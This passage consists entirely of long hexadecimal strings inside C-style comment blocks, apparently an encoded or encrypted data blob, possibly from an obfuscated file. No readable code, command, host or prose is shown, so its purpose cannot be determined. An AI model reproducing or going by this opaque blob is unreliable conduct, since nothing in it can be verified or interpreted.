ad94231e91c5f3935a2636ef3b0af43bbaa212f5db3d3e8bb593cf0ebcaf003a046fd0ac50f09b1455fc77487ebc1b3b067d51aeb7d6d9f3b939fa1f32253a9f9966d060d0925e9f1502bb01f596441b644dec71e6714abfd3fb1c36d821684a89b5f7b8bd835221f48f9a1c48e67d8ed2e020efa6942ef7b7d8a32fa3df7655be2242e81ed81871fc74b3e2e84d85d5d5d919025af9290a5ed8355c4b91329653215f064e2cb59e105e6e2cf53eb7b0c857726c2c3df9c23c012a324d8a59dd85a401fb505c05b3e587a50bb4ca0d671710fb8a7e5d0c3802619fffc77f38440fd6df82bfb7d75bee3f50e408afe2518ec0648a53d43f60adb3357c8eb13ea7d46e5998051c8d79ca8e54d303b0d3e4ccc6290b8190103bcb3c63da46c7521151119c29b58d75252dbcc813a64a0ff1b3ba09bb8d3febb8c6417c3c211769da57b5065ea44d5e24d1a295bbb19260eb1145177857c807f5e3d24fb61ba70897232862428cb0fd9f397c4915f50fdc7db527b8f35bdb45a6a17f6f3c119c60bf85624f0bec3a96349ae03b55e3052646b4afbd220845ea1b5f05a2f05773c8c8de5a08d69bd39fec0ca918543f745d1aa*/
/*e4e50e9c375712282ba25c778833da57124ad4b73ca4816314075c70689abb2e5765098feeacd22cd097ac5ad955eb317915f265b47d866a1434efd4b35e5ba262515c8d56233a03d0d30f2c18755a231446cec5361d360484254e142084a7a38fe85a4e5dbc886c7bec9f4bfd32218b368e07b90ba1d470c356750dd9a67f4f3c55438354e3efcef329d620106d6077613b89fb9d1d1b7cd6436f257e0b9ea7514703500c463768a86c284c1d5abae14d2493fb510932da606a93f35e6222af535fe49671a3dc3623ac45f1fbba7cd429bd228ecb3f838f6d0f1e5264117f325a2ba66f1915d225dfc486d02f1bae7db9938cf259964d8d7a0de1d8ca172b42383c90875ee65fde27089aac7937dcecc6156d5bc5fbf29f55695b2ff47ea14a1ef2cbbd07bc52cf8746434ce2c45eadba9ac92a4aaba70122d02e12c73f2f4dcc889f7fdcfe6fed1793b28d8d76590b8b8c8a0dbe44ac01548b95352c60611b8319e6afe8ef0b759f00de6474416a49aac90d626e1ac83d062c39ea00b528eca8d792c7b3334fb25576e8d60916ed602a3730cc1fa2f5c257a96c6c7841e3d6886d769214d83e97bbf12bc6b672040c64f6bcf40ab9b23c405a3cda0013f5a8b94cc41ce9121cee9a4dcdf90130274dbe56df1b7736955209cb1d8fb72a8a67b016954af58ee5e58dbd93537015dc9c54c9e24776d05491e3bd013a920f8f699ba4c9e0dac11a4d6e89c20c35a8b37ee17dd659b736abb997eb76743052e8a90909f6dde277e0d87bbf309ce6f970d9ad122fd0453f25abd3871174fd04684f5ee2ae754cc633be36206c937cabd144364633ae3668521feab25a8f4ee3cc2d41a548e07718f087e509415d92340b8f4728fd5119746d94bb11cfc3a494a18e177ab114d8631050ed36290659c69e7859e336592f81ad6e83df4120444227a6d1cdc60304e6f828094e87632450c7430253e331cdaaf0e8bc205881748f596930aad620bdecab72824a19775c2f03afa017da1a86fbaa99301ac3aa065b48e7cecb28df17896d551aac83c2995e0cfa948b718a8bd881ffd2b1b88ca0c60d620457e585b8739e3b10f2db516511254e7f6deee02a8c6b58e1c49ec767e7efcd24bd75c8854ae136d07e63a53ff3c22af9ee8433c4d773fc9cb2af87bc97befa66582664a62b7d058739bc4d375443f7d536907934bb1c0b3568aaba2e7a8887d7dbd2a1e7485259c817cd24ef63b096bca2917b7613039ba2b0c70df44ebdc35fac5ea2d113e1645b5c1eddd53020bdc3dc117fa0b7fbfdcb9e561c8d0f2f8d2f000724a4622d98d9600b4463c63596f9eaec89074b86a555ff9846c194fdc1f61b4ad3ec1eebb5f4f963ba42e910f1059fd5633a12b6930ec94e3c30f05cb80b5168d94c20599626a4ad7de66e1a8d71f72f740a83edf71bc62fc77473c027fb0ff2b59b58564ed0f89c9ce8a51c884f4e3024c7fe6793460cde6864054f74d33ccf9cab79de0adf32670b9bece1a76761bcb19c00e79778485293003bbed1c1f5697878bb2c6b52ad18679c51bd0889f07b4fa37472c465c9ba0155666d653d5678a773047326428989a6bb6eb3e7f7194a6d9db7a3d40ecddfc5e9c93c45d79c28b2c3bfaf5714381de236f5befe4409f7299ccd6c6f7782bc687904d5d37c443661ec8da7b1c9d4d7f97858c01bf99d59f65f817d655a150c859f09b86d0f120b080fab2747c6dc08b5d25db4288aca8aff88da72d1dacd77c6e3fbb58b5fa862b1c6401d503d645d6647d9dc3d374a50dab283992c3f998f8becbf2c4518c00a6fd1bc8619d633634ea8088ce8de8cb671b12bd1ed7e9305f813bfcdbf69150e89d7ed0796a4c25c9c5b7d3da5ff8d30707537c26b8ad7523a06ff77385089f30676c1811c463fb8fdc36064e61cfe37714b95e59cc54fa89a6e856fc53194860246e58f2f0d1cf7ce98b1a6a95a0b8720c8309a28c2031ca92d3228bef79830bd406182808b98434db1a3f9126e69ed3b7ddef25efff7478484c72f9a4f934f74242ab55d0cbad451970257d8de39d6b545760915bf7a055c22ed9bd44f6363feadd3e77b73bbf7383c568cd48e5f4b3bcca94a5b05c17f9a048bdc5b60f802f120802409ef195cd57ce75a24853d104f9a3276e0a719872214c016b42b79f3ac521c9099bf0b481ee46fdab372ee82b3242bfc9b93a3c0de8f87e951ad0cd1d6a1ea99528af25d9daee9664aab6981e5959a5aebe0404f01c2b67f28eeff96f7ea0d60d41587936300b9571c3f31b1dbb439994aa1369ed19db45dee2d2ffa55cdd970802c0db37a1d0c8ecc6a6afab69374fa4d59fb10f9417e00bbbad0a9aeaefe6871d4a051f1399cc4d961967766b30e64e2f87485343dcf2c0c9cb89073bcfe16aae71c1629466675411c19da9d99946720be641e5e4e7c102de63be61478a9ffdc77975214f6d3567d65f233f61545dcb6d1332547d2c4e2591c743feefcb16d60ad545808ac75bd8873261b2e1978701893211584d53aba88a77d14e9b52ea58178a2d81e27dd3c1b4e276526ccb0b191e95b0a65ee2ab902643121d3d2af8bc7c57e56ea2c69bbe24b1b08d14bb15d847bad9cb1ef2a45cf9d5fe65ba0de06c634fa4aeb1138c4e3eaa1e8b4ea972ebaeef1f34ef6d552cfb2a2444b25e0b4865cf75404b61cdd2e8487518c1b8c00e5e59b05c25423403306b7ac9a97f3d5f1e37ac998027ac017641b1c56fdef496b6c64fc9e64ecbdd715613b3880e8b65e63e12b50e853070860f42bf9955f40be14b6e1c7ba78e75df4bde56b2171898e6557bdf617550213*/
/*9f10ec9f0c90abea902dab162cf575641a36311c75c9588e7093747b1b1976e6443e4f415ff52c4e95a6bc6625679d60b9bc714c52a7fc7bedcc8ebbd156c23dca0d3d2c7dbede34f9436c7990f1e8ce089febf921d9742fc9af4d65cd758de2212580e68de463af788f40627cf8da2d2ecbeec7c8b306e22b0aaef52d1d2d7c8b1345df7698ad9eead1c02f365a96c1004b0ee8165eb1dd553fac5dfb1b1ac38c2dcb79738ba1f280dd76ade99cd738b9703a0959f6b555b556d3e89ea81c6b6883135d90852a902ce7ff54701e679dc1795b385f0e572c24298bdcda274de06dc3dc10da26da621fd80e3da122678bfb316e37469564c72a7dbfb29946a0b53e6cb4fd140c3049b4f3d529142c79aedbc145288a33883dd47898b4387ac891241dd397c8a1a96ae439e11d8afda055fae326d490b96c5cd1f19002480eda537637b504c959ec924b490f685da54b8e8012bac34235b5519de13b6be6d94bc5311e466b2b636b2b466656e5149578eccba40ee542cb8922112f9cd2986ee8a513c32594d368b50328a4cc98dc435faf4b29736da3cc1f5b6cbc9fc5f1ad884296cb7c943c641fc1462138bb54b517d49cd33669042d897aa07958a90740d779e215c76a7b2bb9db31ada66512492eb79c0f242ac6a1fc21bf7bd795bdcb0df1d665ca0a5cf221f595241573459c35f6e5137fdaa3a8362e62ae283b152096d25cc450b7041f8e39ddc8fb735a4d297966df1806525bfbb6850473ef2311f516ea422c1199ef9228f5b6d58d9450a29a533e75cc8245de5cd0ad14543817412453eb81871221bd14bae2b7a1d7db7a5f73c7138854a087be3b5a22511fdb1d021f5a0ba6c3b5a2fea3ea7999baedd14e28ca05b513fedead18b570296f3892c12895f5304a55a1756ce0a0796d72f1d16241d6c7229c78cb263142dc89ef1249b8f85575c554452a69ecae1161299a1ace288277f528f33111d0bb861623310be2d06b547cf386c96eca63598bbd56ddcdcc33b1bdd97765dd46a971dcdf42471f0b0fef74a6c7e2a646a33565eb33b123bd363bdc0e72d255d3f46b59c264ead06946a8228232b589cfa22e3b979238ec9a4679597383cba35533755bb7741d412deaa6450e41eec1f6520a89d6484efaa0887883497dc83089e58e23399dd95df4d3476e9276a193ecd63042833a829cf0fad325e5da1b8c5b19c8d9954dd9f42422ef21ac8bbb8ae1e95dce9d0da6711c5c960b24f8e9ec59fe015c764c5b58e6d426be5fced91b4f3d612894c088c522a39d80d99bd073186537b22c6a2adba3eefdf24c9e2e9335c330d5fc157a6fea6725f0ff1666c16450914d602817105013bbf893264ebb14c7d37f50412af4c9cd4ae62e0f6658e745a6ac13689a13bd64193dac61799ea4a97944ea6fcafd0231cf29fe1a499c8d51980af697768e563e73e0c6035724432a09e1008952dfc02c581ead73171fe5e16e7d7f1f9b9d8bdf9e51c7ed0400ed38efe7a435d34425c02097326af0215120a0d007bb571cbf497094f2ce75896460793e3dedc8937389335dd8cea9b782acb87afe1fc51338168d42f9e3b4441275bd6157fd378021793620792cf992b60a340d7cb284d72826db5b00e336021e8077f52274d52bf4aee010ec2b04bf7c78d48e49f888a7d04097332ae8eed26d412d2f0b3d61cc89db221b0d462a01ab928674cec0dd2ba8fabb7fc8f05ad1f7f7b16a5700c4e6419b7862b49dcbb12509f34e16de2bddb016d4c73db90a3f0a27b1937e24e954b6bd4cb2bca5cb40999a40b3c35bbb9fa738877273b8b443fc9be5792c266c4b30c112ffd9185a2fbf620fbfa3b0717024745b4ddc6a2368eb14beb4ecd17c23ecc6377dd9e2219e953eba4819260f20b41ec0771acda7aa7b64fca84c9583f44285f7ebfcaf0f0db77ca70419583f9bca8ba5a15d8400ecaae49e07bb039348c814f508177072fe9ab42f6a44c8461b0a51e42e408a3910b465884993c5cab6a058685839815f9bf6ae98a973813e4f0ecdc3ce7f04ab81deda5364dd2581d16bff791af2e030625a8070c719a489f80b41bac5644316bc1421234e141fdb1d409358f5a442339bdd4219b8f7f48055716fd70f592fa7a06a3061a28df60b1710ad6ca76087b9e3b07a3a7272c6e47106c84feb2e06fdbf352bff0cd5eecc8b73fd8c386351d7a29753b7aaedfa41dc6255f6175c24bff55e8255835cb02920fcb4b20953b0b95be0a5481acb2f36d64bc012708696ce9f9c8873acb23702da255524da23e6de513cf0e34d9fd9aec81c172c0df68e230b45171966d55e17f53949baeebbaa561824f4d4e646039e87f151737c20e38a052c912663b00d98fdd55cffa286910af5eb4fc376cc2bddb215260c53bf6f0c3f079d80292527e35711b70538497a846578e5e42902c680142bfb6721d403271ca7dfa079cdfaec94a9c95af890134ec822e20dfa9472addc5894e0b473f8a55d905f50edd6ce7962b4906211641c531aeedb8828590b02cba3a97b8e22880626ad6cf103ddfa72bb2f7d3083952f19468203d3db339a38e99af11cc63bad71cbeb969b31d1c4a21dcbfac7fe09d6df18d51572bba15caa5bb5960212371972e672184edf79a2eb70642e5281063cb84c7705b8bbe05483af484098d4772e11af35e4bc212284187345fe5ce02bbee55a14c10063a3c30bab3116678962d267aaa93c448cb9cd5df72bac72893a82bd80e7ccd1498eba3338e85f4459d74c548292dc4b75548876f82f851d00f8ba2a1860fbe4d74c8c7d6df2070e05d2923fba5cb8b9702e95ae*/
/*67e2e0da13d80f663bda0f4ac94c50271e46ec95ff694c74466fcd6441019caa161280592de8614c4f49f93064401a364332cef4b2b24fb2c1631845d50e09ecca96af6760f6cea566642c1a1b271e94cb4a28b8ba175cbe349ffb0b18b2ed225ecb7fd37701fbcf279cf7dfdbcfa63c1fdde2e537e8694c2dd5090bd2031cef8f48fe51c0fdc0aebd8f61e1158beb03da4e366a17b04109dfd1af4268db44336f025c8b072b70d5f40068280f8db28093c375c8ba27a1a090dffc84d5679295f5bcbbe0e4c0d7c93f772b138b7e849268e3c34e4231b2240b650f4e5acbf4ca6d0d933f49551d48f25bd5d1d97b4936a8ac6969399f32b4f57fe2aefb9be8c70a61a468d7bd63f09d06d0ffe8c8fe48f418b6b531b1ead275d6c10f59141008858787326a44c24cf9d27f172a4748868f18e0cf1b91856b543daebf0d9934d223c8d4fa87f6c77952a6bb363ad3130a2d57ca02dbec7272f60e3a25491f3973235601b6a74b934c0a2ecc62f94e827d9a29cff95033899166cf81992de47d1b85fb8ba4dc8f52243344f0246513de6a3d2c7b9d3ce56a127f9845e2112c18ae9846ed54326a583f8bdbac1585b3a52dbaba3e645179fb7b803e19558a5b3d7a40000dc81fac8b8a36c1fbbe690e551a1b0a76fcc8ef4757d4e2389c7b2aae9e127f741409c38c89477c4bc936546059b712e3ce52f734e8de50485d571c7f841fc39bb922e301525f45fa7ded13352841d3faecd30d4fada50c9122e80cb0e1c8004b7587d64877d23fa7dd72b97177d68c2cb190cb5c666ae51d5969a3d7d2f8ba1af08a9038540b2de74e4ee44bf637281c6d65f63124bc33bf3bc3c484d032894386a111664a733eb616ff68ecef79f1cd735e849af4d86a3e1bfe3e27a8b0e96939f3852ae2ef789159a549bf5d3c63c33cfb3e751cfcc37a4516a03b503d2064374455402f0d41816e15e53b339d60b5caafb6f431ac8e9daa9d9f9bcd60f5db60291dafea1075220a299dba861e19bfd574c5cf9d25d44aae999962f4fdbcd5e987438e25125294943874867c71cd4fd7c2cf08bbc33664df1aecbf5b707dc858449760d4bdd094596dd624255464c75988e7375ed604e979d9a94f4b9c56ba2c719825360a4186490f23acf65623128e7c80e1baa4795bdda650fbaebf5122b5f928f4c285d9ba254a218bdedcb8827e44cfd35d626b884b88c637b0065ce73f05d4181c3d62191816c1439a4e9b59b5499250249072cdd7d0e871141036844854439f7b6bc1c6e6b41f952284d93975fafc003c1cc86cee8f0d5baa90220838ee24fd51c15b5201bdf69cadbfee4efdbe220099a8d122f11442c730fd01377087c6db3f06c54fa619e650faa3ac5c36f81cd97923aafcc738bb37aebbd77a0c077c4a2805daf51e9c2f37300d35fc234bf65cddfc68ce35728b0b92a81199e0761560ca27434c17b9cab8aa77ec5d02019620bedb9d08416c45753eb4a3e619dc0f62302708dbfe4e5cc9dc32d501d477888c95aee733243d452ae414a52469ea70a3da6b9f22d4da47f9beef704e5dbc918ecb595e404acb089201c4f5a7002522c34a45fec3a21712c916513b2a2a48a49bf9ef1a192cadaff1e097d846ded64f574785758fa4cb7e4c5363f9cea6f92b1bc97e2a49ceb3f20771786bdb758f58c05b652cada15816fc0961039e01a3d66420f085996997e29dbef9407b4760f1f6d18516eca93f12f4e08da352b569f61ccc0598a691dd909cad7dbeb4ef1031b977b60cf92b04796ceef342036c1a4f63ab0a1484d4ff1957df64e22f501bba8bc3629eab8312e2925de5f3842d08de63ca55e6a62ba819aef79549af8743967dbc87d4118d51725b2ba2ef9091084b7560b0922c4af9f5bb637d3de053301ba0e4c9f9fa76aea87b4c782f023db00c0e9ca766f1e0907aeb936da6127cf32abcf5afd02440998a6c438404c8a8f15378258658547a084a6c927e2e03a62e6fe669fad2cf557d418f6d731f0f2b751de0e633aa9b3fe83e6bb2f9b6473681d28a213e1df2a6a45d7dbc6698f9312c0beea6127956badcd4b7ffcb5de4213a2906fcb62410a4406fedc539e21eb6389908412b943e67d22df03440bb118e1a5e272982b4ba6326efb5cda0350b3feb8e378fc7a7985f2826c25ecf23c4056b99c6b9cdc2979bb6974d08255e78eb0df116e6b14e4eb193434dd0719e0d392cb5d2d6bea377f604ea64419a7e0d2e0a58bbc132e3e870ae613b2edb20a24d3b178ed52f0d76232f5dca2f0b4c3d7622717948c1661f5d6021aeccccd9ab6fe9515a45879194c7b65867f2c1d3db79fa49820e82367db45524d72d14c64ab4aa59711f3d4903445ceb1bae4bde3cc5dbb31e12d745da2d10cdc04f3f1718ff84701f3eb4973a600d60383615ec82efcf18ee8f8bccfbef1b5d9b7708d2cfdf06a0bf5f028d4b6eff3a37933de995c13568e680d8b4044f6899213743f8cb1328479feee22b90ae6ce4c341e9618cf62e2cfff474d92c4415a5a242ba400ce93b0bf704dbe2b93aa60a44ad5fb206decb3f8abd7f45dd3d501e7c7ca2e74ead9d4e20b7a17dca31d3c47280b1f9ef69d0de6a43857f59789c93d3becfb5db8bbea2da6186f0125681d12d46a1091d8d927f8d5d8b50d6ef49105e09fec53e4832df1543b2bc78b4683a4175ee477d59505fcf120cce93b4dee2ff3bc7f4338d8859aa28c39d1af90c9d6659c3be20c7d48134087dcf598962186ee352fccceae4c7102119980ca036ee76dadd7779ba1ec782db838e3dc31f2f898d1f1e5a67b3c51f54749014fb7b04136a*/
/*c020d8dcecfc2f5fca4ff18c355302a3bc2cd7d58b6100832345e4c37a68ba16483c17c5fd173b900bcdc6de2c0a267db9cb29a2bc7f6310a17cb55731eb8d0d9f9de8c456a7f21e5b4925093de4523a5ace21a85112208836a98d505bd9bf5334244bca353986a5b31e3320cd22a717e82732269397eead5c653efea1c4a182827bd4bbfa09f5a50cce6126efea6e68b7b3f1f5a6a9204788b33a90696b4bd3bbcb10d6c0e289a44afeadf0afbcb4811c0564e6cb15a7508763b1bf296b4d218cab72bd19bf3b6031de51d5fdcc8654f207e4a65c8da44023cb65c6e0037a7a566fa2ca3c7edc90c269e18660796b22245a1b547c71b98fcbb00966762c5694e488a9dd125f84e9f0e68a53096d34bc7804804020e06f4e5c55643f4f2a1ca2fe36c93ef633a46202cc7becda79803c88020ab2296e4ae8bee52b9a3d837b5dc052e78e3443086fad9fa3b2bb0aae63fa3513ddd8181e86136726e54eae62ddd69ede21adbced2f1472c8d23c1e51a170b422d1dc069768be50a02f39a4d6c3d34b9cb811a902ea11e30686740f4593f28eee3b553f89c8cf974242b68d6c9cc3eadddf2b930e26dbb7ba011e184de60e376871199ab8d04084a559b2884c1e75b16903c925c9cb7bbdc870e31957cf02764673472e54aaa00d7ba25e2c16c40855363f81469b68d77acd41a57eaee17a72dc33503c4c16584f70d2814ab9ba56ed80104880eb300d2b0e19ab31cc1da7e0e2a03beb46a499043f673b0a45389ded76b074fc58c81d75f41b7e2b473cc28c5be4d793a1e8f4cdba456d7872f82e1516089977b9265fe51594c72b86eab39a43861ad6f141a0dad56621f6bd3918754b9b71fa91cf99b85a7de7723f4f32e8faa63df2759dfac442d7439cf8bc7c6e4bf8e2f124710f94df6e796c982cd73d3cf3a8a9919da371cbd222a95e9892a4b2a7307ff35c97a166ee9b7e295aeaaaad2b5f483bd85a5daf0234fedebaa5acaa283826a2293324c08144ef5bcaad2ba60aaf60b00f399e4f44e9efbe51a0a515645516c10fd525a2d97c65592b5e7b398860daf214cee3c28b163d99b22ec717f2ad44b0b9073941056b833eb6dae7b5336501580c87d7be69b7e14af690a7bac46d3f2584efea5ccc3ad1b095acd748db0f4ebe0e66b91c446318d9a09952264d27b9d873c215a0776ca0a61193455d612ace0f3a889479bdd07c9b37dba5ad27417b14cf74334d323c2a69a303c2a5459d89d30ef27952adff42e408df861e4f8ce87535356d81e79892c18c1b3e6b7832b5126a365428db4d0c4e2101e10e003e30dc472ce5bd2e6df7f936d9e216e4a8fe240f8ccb3e288fe4f0e2e46591deef33230655c3e12940276158c854ce6d18b10a16e7b272c608ef6339cc1156c86e5d5ae4aba71e989bd766912eb9254050826b676f31516d88426b6872028701b28eab4053ee9ee2ab90c2f5d1c66eaa20e2c4468acf0328cf8961cc0ac0eddcab1d96ead5b1058f39782e852e72ecd10ce2b17c0e8e1ee347bba06d9f752e6971120d635f00f242e0343d0b485db835c14ad0e635fc88d5babc868a207f89ff37fc68c5ca0da7ba05ecd97ee63c6007ae052b3e57002e05fe5cd342920499d1307419d6b33b3bbe7cd45f3dc02dca6dd992595089f32128f3def0d13597858b5720d7a65883941a56271fba67b29369518b4f66fda6f1b881da163ddc6ee314066cf776e6f8a134630afd1db379b325b0111ff9d1bc05dbb10fd061b826803d1096223197609bc1ab211a3a4e3682c329409364a28ff3dc9b412831cd3d13cccafa08bceaad1a9c1e3af64cd32e63c9ee427c89896fdcadd12a02c23cc175c02a9d9293cf99496a9ea4f59672e98e9727021903a718e807c9b9b7b094ac5cc39d78cba5b4f10ecd9763d5dada0cc17061039f2db3b206e5639891301cf084761a347158fb4bb640969c2e73db166c108075f2b8688887d4f69b688eb6149dadbdee4996ddffe0f095cc0090d530fce3e744e33d0a8951812ad45079c537692604baa9164492e832f756d0d7a4b91634c9e8f46d097d4d7a7d78c65b05b5992ca3b933cf89e2d943c6ddbe92c095d669a3e6048e8d3768a3943f2f24478621bbfe7fb9e67ea05b22535bc2f321bc518b3b73e152df0c016fdbff078375d508640d9a65d94b1c56d1d9a5b054ad78811b058f3cdb3812fd8fa7e653cb5741fdb73a5501ae5302d94e515baad45eb661ef6aa4d4096bc6fd1b4ef083ea16d4af4854e8456f298edfe11b84ad26d0aa880843176218f13857b46f65176807270f57eb9db327c8d89dd5f6e227c71672f51df80661664a2f036118668b234681d1e98193fd5676fcc56f5785916e49b81f7465110199d20d0e1cb9bb033e5a8eb6cc95e95e74b89d5e1500304ea6bb033813929f877517960f76cba0c2ee14705799be05d32e3ed658f2dab7e1e67ad37ec4dd66fd9978d6eecfde6c4e4ca57346c0138942465642ee46403fb3b83c82f29963bf5fac66d7f981a56502d05d4eb62ad0a5afcf71dac771f9f14a14ce167c91eecd4e17872b95955845ba785162a1134c414f46672ad4c163def5e5e502c633140f469d237587ec2946aceeb0c2c1187b7aa295ab2f20db397935a34d0aa3b491bb95eafd472377d9dba8601a716d5c9f6d12cfba18077410b9019bbf1f4766a4811ef6c2444a26c2a281ce5cf489a7786343454eb86ae79720c45dad8e1c3148cbf125e2f37f37b47b06aecf89c6730a5187e9ad92df0a87bcacbc8c14951cdef7c2f9b2bcaac21feb476e26277894b2297598798e9626578a9098*/
/*63f4ec91d5a9b3b3b2506da0a96d4ebdf41aaa1f6abbab527db832ec662f6632685a82503d575d1c36d33748e0f3de894e09321729a08a52df28febeeee22f43d22d9cf857e6cf4396f7fdaf0f506261261dd07f953e3be9a56c2faafa8a28e3a1e67894d6d38639653c76ba49fdd6e8d6f209fe1c868c5935eb88165baa1c47a52c2554d2c145ee6dfde8f3a67f4f656a43086091e06d208f540b5aca32ec2ece7a4f5f8214db597d94b0ad730a66c18a4f4910af1d7d4e95d351d382ec730cfde6eac7dd01190d09a9e69960cba361b60229e7e6d778b5243a0ada852ab7f6815e1ccee076e8bc57d3f373be6c7fabce0c1974b47bf59d064c3d0a737afabfc2a072b9abdb2e3492ccdb42c36f542b7249bc6f1e5303115bef47e11ec8f771bf773b85d53ab8622cdd536d05aa972d3a7826f365a46223fddc7e6078457ca7eda6071ec9672d9880b4590bf8b28aa8e7f7be81aeb222117c2a89f8f16adc186055845317d6fc3566e7b14d3bb6b919c343359605483a0ac223ee2bc4ab98dc08a5335a65500cc3b042b53ac8f25f7e0f77cd3b3aa3e117c2e2a2ac2229255fcca55d6d309fb35109913a755c24be10036c7c40da4e0bfa5fb465b66e3a9ebb27e55639d104f659b6b8af0e867cec51c40997201487e88fb28ed3af4fdb11a55c2167104cd174be61be41dc78ddd74ea0e96f18335d7b9d1ef910fa0553835f6b4a0fcc7ce8c5cb903a8684a82a935b5521697625c2d8bb1872a3377857053f8200f2bc1158663877289672eea56f67220b024a9786ae43b1452c484396e9778c3bc4e8b641cf2f04ebfcd9ff3084ccd679abca52bf4c1b130bd03845fcaf6874839fdb14b9e8c7be564664882153eee053da1de9abc2c8607317f8a1f8b9dbd73297de8e173d4a3770768efeafb31961ff6df235d3d51395016bde51406635b41c819ee7ad404394292d7bee21727f6b7e3e6f5e2cbd46d3b1c7efe9e5aae75a0f772355dd32dc7efdfafbff683c6a75eb5b5bd0557cea59092b3e0c2fd155a1e362562a8a600be95a5574695f9503739d6307eb69df52eab17affae34609120c2503aa5239dafe88c032cae109749877f3a6d025e786603ea08de201355ec33e5dcd872a6c82cffba80d901d58f507c0e69d0f5e614e772ac109e167ad0310552e2e28c90f50c5edf8af278cf13aae50dbf6fe45e7a9228378d9844c53ebc7927cafc2185ecbb9a4b6e136b54ec27d6fc5f347b474ac6e1b40e5f65105778d941d86ea308ca643a1f854da3fae8eccffe6c63127925742597926371d1872cfe988a8a07c21d2af2980c169aa8dad37c3b5f75ad6c6f176751f102ebecccda1323a1d93bb14cbcd65312ada2743a6f556ff45a2274657c06a2060301961888671f74ed5c1bc1ab6bedba88f1d524d9884d1dfc6a3a68f1bc38df82763cb2ac2e435a6489e313b5e2aee697fbe472fc12ee376278643f26f436459f883f73e18c9fe76b80081a70e51d12076daeb29bb7d0165be00ca0d677ef280388339497ade570b7851c14aa989d99fbb94793434340147921ad82a65894c55430ac3d407a1656d0a3c950ca5ae4cf74bfda91aba5a92bfdf735c19e298fbba7a663c8f0a418c55cd11093fde9231c73cebcc739ff6638d25833ac42e7098254fa6f07c0705d0b34c2ce1ba98a4ef502990a5e45d078e22d427ead545be7f0a0e28dc7bc81012c12b1a12c9de1ac6e5e6e3097932d309b905d9008ff554f31b4313bd75d8a175946a054a7a580dd454dbe7cac593c603800f503e422a92c87eaa9487c7a5b9124bd645a5de44570f1a17882e8df0cc18b6241501d921cd6dc2dc64ab845a2028518c8f503b0d91134eb84d10f37b2058127213c6649fdace0c64f1a39b1da19caa8048879e4ded0aa448359e74bc8d53ba1f50c9e289b46c247e367cc550fec9bbf2dcf20de85c572cbae543d75de0ec33e9f4790f5fb64b727eacfcec743442583043672aa932f159743ec1fecf34a191b8f38967f7c94387ee2ca89fc4f1cd7264ae062d38970eb96bbf9a6236573ecafa750fe228fcfe6c308db27fd17e9b64e16a7848298e3226c22cb2b714b6b85093a76d4b904bde06efbe7020f3e49189ce7b4c25637cfef6ffd876a77d429498f37ed714749da6694edcb83405629a226e0df4136ec60ea01767d56ab55b26e7cc9e7e73f850719febcf43d2c851c00f2fb37eff50c523be3d48bbe020b0c0e564f877c66511a0e6f83752d039c74f7d79f8112132e1b483dce173d764d849d8c2b3a52d24905371658d462a5719b329fe4f1a3a02454e9a595546475ef8f80071a708dd8049632bf103dcbdd073438a8931ad72009b22eff9b7d1be309b60408dba9d8c366df8487c8b647c1f98c3e6977d91e83be530bf286f6f74de4d72b9f7af548339dd27fa818002849883d6eca7b4dc11abc9484f1bf899cb0d2be627d893c984301ebbf763978e8694fbe525ed47250f6702b2199554d5cdcc45611dd260a4e643e19fcf0e39541d856775d88bb5130720109c13116ef64166a6ec4add1b08b3793642bf96942d8237c595bcf2130141080e8f834e58ff71577c7f45d107328b560e13c3b59bf64df0c932c9e8ee342a45c2606b8e5b35f700d8c415cc436e585e8e53df3fac5309f36b0ec2dc9c72cdb98590cb1ad6076fbe242d6263365c0fa452de25e553a3c442c7446b355f4d3b6d59cff3bdede74f6bed4bdcf6865be4c68a0b1896f06bec6b96c13d34ea02b4a2343c9a8717b01b32409ff179910b62f1e0b1e7075355acf8085009c6fa95fdd0c671bb7d4179f1b*/
/*2d58fd245940b2bf1c373274e09fabaef80dc378d73bdb774dd5017ae663c9211d5a20b784035d4d3d5f69e25468238ab38dc7569e65fadd5ec8715726085fd6d6b20b2c284fa5c8a0af6bc14c8a8de36da174e88398290ae9a52b156b2a1c4ab35bee03077bb7419d9263a099b852d994e39746526fdf379acfda6b03a4634d9307d72eb39979456313198932db42ef6bf51376b52878b346257c6104958c1c2bff1c9a806dc80ae94dd476a2784344bf062d74b07335d2284633fe9854d03ffdf94a49d795cd554c61b070bd604663aceb7e218917636fbf799bb518ef5ef6d2d6ed7210f2fd6f03ccc30deaa27cab86d3bc3e78f68cd163ee61c137371a6a92d638ea49f2a027fa40712c3a892659d751cc100244768de6e0391dbd226337bfb6d3fa26a2f7f79850f0062b5e331f335d28df8aef2b19ffec1e9d4f28c04b689e0bd780019be3a1f9589e986f0109fb8e5d833e591992faaa07404625b40199fa49e94100980e37b3bb9da6e19ff071aa18ec57de2943f2f1881adb0b93ab74eb69c8d1a51c131944c258c587f88332dc102fb458d2c763c31c1436de8e98559eddff301dbacfb23b9dfb70351f4947b410d37e2c4121232ee57b565737530c573f0bf07c9ed142d5ac7828de82604b353fd9053f7d66a0c68fc2bd5da0ced47fc8474451076f829d460ca7344f8ed8bce4bcce5617aeb7637084585746f8015afab7954436f46b0888f5ca78d11b1f7c024c9782b90261bd8e3ec9325dc3ad88a5c7e366ee97ac43289a5aa753f621077b8dd99cdf982cdbb5eb7a361fa95289b9ea68083e2e0ee6bc92f380a16ccd29daf9946180bed7ffd92ee7fcc86989dc9d62f1be94703fbacf3f9bf5b3d8d56f241289687679ab777a227749a759bfa203b7bdbe5c5efb8bdf510dd193a41bafc0108d0a2d36769112718f77be7a49d74be5e547947d02345d916c42e7e317bf8ab7d66bfce91604b3147313688bbae0d59fa13cc5ea8a585e33126b818f23165a56a88aad9a9f7283b02766926cfc0647060654d2e076da0770049fadf66b23dc51b0f972ea5e318ca57a41c5d131bd14667ad01d15d8ab976b3dfabb77499cbdde91cbe272201a0bd617699f2ebf7cb07cf5b93388d6e632824f17031307c41ec9c878028ed8666cc224206aa3ffe0e322402b109872424bef2649fb4ee52311564c4af79dd131d752c0ec2d2a4944237963f20d570023d5c8643802423d6824d4aee274ce474d62333a55ac0edb14b68519115a27ca899d18dc454506a82086fb5e4c72a5af6a322ff94b1c4896c32cf9717cd43f63c488fa71c6bd7f8895a42a5eb30573da48795f638e37b95b43f028a02ac59037a6d781fee59f1a4e5113c918465ccc3c98582ea17033f8cbe8dd121459fa4d53031c1d5e52ce3e8f04a6b2f7416d10dbb445ed29c6202607b5a5a18f3ad8255f2e9b4cc0a1e7b7e7d8fd33d08f7244097ba63da503815fd210eda5af7ec87b2904abddac434959a9cb61e66f617bd6ecc97a792b5c17efde6753d531fe7a0354dcd205defa4c7d38d6a51c619d